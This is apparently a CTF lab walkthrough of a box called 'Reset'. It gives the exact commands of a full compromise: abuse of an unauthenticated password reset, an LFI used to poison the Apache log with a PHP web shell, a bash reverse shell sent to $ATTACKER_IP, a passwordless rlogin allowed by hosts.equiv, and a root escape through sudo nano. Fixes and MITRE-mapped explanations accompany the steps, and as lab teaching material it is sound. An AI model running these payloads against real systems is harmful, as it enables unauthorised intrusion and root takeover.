Reset
Summary
I scanned $TARGET and found an Apache web application sitting alongside 40-year-old Berkeley r-services (rexec, rlogin, rsh) that are virtually never seen on modern production hosts. A password-reset endpoint on the web app accepted a bare username with no authentication check and returned a freshly generated admin password directly in the HTTP response. With admin credentials in hand, I discovered that the admin dashboard's log-viewer feature passed a 'file=' parameter straight to PHP's include() with no path restriction, reading any file on disk.
Apache's own access log was readable through this path, so I embedded a PHP web-shell into the log by placing it in a crafted HTTP User-Agent header, then triggered execution by fetching the log through the same file-include — gaining a shell as the web server user www-data. Post-foothold enumeration of /etc/hosts.equiv revealed that the Berkeley r-services daemon would accept any inbound connection presenting the username 'sadm' from any machine on the internet — no password required. I created a matching local user named 'sadm' on my own machine and opened a passwordless interactive rlogin session on the target as sadm, capturing the user flag.
A sudo rule inside that session permitted running nano as root; nano's built-in shell-escape executed arbitrary commands as root, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <new_admin_password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Version and default-script scan against the five open ports.
$ nmap -sV -sC -p 22,80,512,513,514 $TARGET -oN nmap.txtConfirm the web app landing page; identify the admin login form and Reset Password link.
$ curl -sS http://$TARGET/Exact commands 1
Returns a JSON object containing the new admin password; save that value as <new_admin_password>.
$ curl -sS -c /tmp/cq-cookies.txt -X POST http://$TARGET/reset_password.php --data 'username=admin'FixRequire a verified email token before allowing any password resetCritical
Exact commands 3
Authenticate to the admin panel; replace <new_admin_password> with the value from step 2.
$ curl -sS -b /tmp/cq-cookies.txt -c /tmp/cq-cookies.txt -X POST http://$TARGET/ --data 'username=admin&password=<new_admin_password>'Confirm LFI and enumerate local system users.
$ curl -sS -b /tmp/cq-cookies.txt -X POST http://$TARGET/dashboard.php --data-urlencode 'file=/etc/passwd'Confirm the Apache access log is readable through the LFI — required for log-poisoning RCE.
$ curl -sS -b /tmp/cq-cookies.txt -X POST http://$TARGET/dashboard.php --data-urlencode 'file=/var/log/apache2/access.log'FixReplace the free-form file parameter in the log viewer with a strict allowlistCritical
Exact commands 4
Seed the PHP short-tag payload into Apache's access log via the User-Agent header.
$ curl -sS -A '<?=$_GET[0]?>' http://$TARGET/lp-seed-1Trigger the seeded payload via LFI; ?0=id is passed to $_GET[0] and executed. Confirm uid=33(www-data) in the output.
$ curl -sS -b /tmp/cq-cookies.txt -X POST "http://$TARGET/dashboard.php?0=id" --data-urlencode 'file=/var/log/apache2/access.log'Start a reverse-shell listener on my machine (run in a separate terminal before the next command).
$ nc -lvnp 4444Re-seed the log with the reverse-shell payload and trigger it. Replace $ATTACKER_IP with my VPN IP. Catch the shell in the nc listener.
$ curl -sS -A '<?=$_GET[0]?>' http://$TARGET/lp-seed-2 && curl -sS -b /tmp/cq-cookies.txt -X POST "http://$TARGET/dashboard.php?0=bash+-c+%27bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261%27" --data-urlencode 'file=/var/log/apache2/access.log'Exact commands 2
Run from the www-data shell; the '+ sadm' line confirms global passwordless rlogin/rsh trust for the sadm username.
$ cat /etc/hosts.equivConfirm sadm is a real interactive account with /bin/bash.
$ grep sadm /etc/passwdExact commands 4
Install rlogin/rsh client tools if not already present on the attack machine.
$ sudo apt-get install -y rsh-clientCreate a local 'sadm' account so the rlogin client presents the trusted source username to the target daemon.
$ sudo useradd -m sadmConnect to rlogin (port 513); the hosts.equiv entry grants an immediate interactive shell as sadm — no password required.
$ sudo -u sadm rlogin -l sadm $TARGETRead the user flag from sadm's home directory — returns <user.txt>.
$ cat /home/sadm/user.txtFixDisable all Berkeley r-services and delete the hosts.equiv trust fileCritical
Exact commands 5
Run in the sadm rlogin session; enter sadm's password when prompted. Confirms nano sudo entitlement.
$ sudo -l
(root) /usr/bin/nanoOpen nano as root. Once inside, press Ctrl+R then Ctrl+X to reach nano's Execute Command prompt.
$ sudo /usr/bin/nano /etc/firewall.shType this at nano's Execute Command prompt after Ctrl+R → Ctrl+X; runs as root and creates a SUID-root bash copy at /tmp/rootbash. Press Enter to execute.
$ reset; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbashExecute the SUID bash with -p to preserve root UID; reads the root flag — returns <root.txt>.
$ /tmp/rootbash -p -c 'cat /root/root_279e22f8.txt'Clean up the SUID binary after flag capture to restore the original system state.
$ /tmp/rootbash -p -c 'rm -f /tmp/rootbash'FixRemove the sudo entitlement for nano and audit all sudo rules for GTFOBins-listed binariesHigh
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
| 512/tcp | exec netkit-rsh rexecd |
| 513/tcp | login? |
| 514/tcp | shell Netkit rshd |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.